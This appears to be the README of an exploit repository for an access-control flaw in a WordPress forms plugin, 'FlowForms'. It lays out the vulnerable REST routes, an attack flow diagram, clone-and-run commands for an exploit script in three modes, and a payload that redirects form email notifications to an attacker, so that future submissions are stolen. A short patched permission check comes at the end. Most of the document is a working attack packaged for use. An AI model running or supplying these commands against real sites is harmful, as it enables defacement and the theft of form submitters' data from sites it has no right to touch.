POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate published forms
        │<─ HTTP 200 ───────────────────────│      (any accessible form is a target)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Overwrite form name / content
        │       with attacker payload ─────>│       ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Hijack email notifications
        │       /settings ─────────────────>│       ← attacker receives all
        │<─ { "success": true } ────────────│         future form submissions
        │                                   │
        │   All 3 attack vectors confirmed  │  (5) Name ✔  Content ✔  Email ✔

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file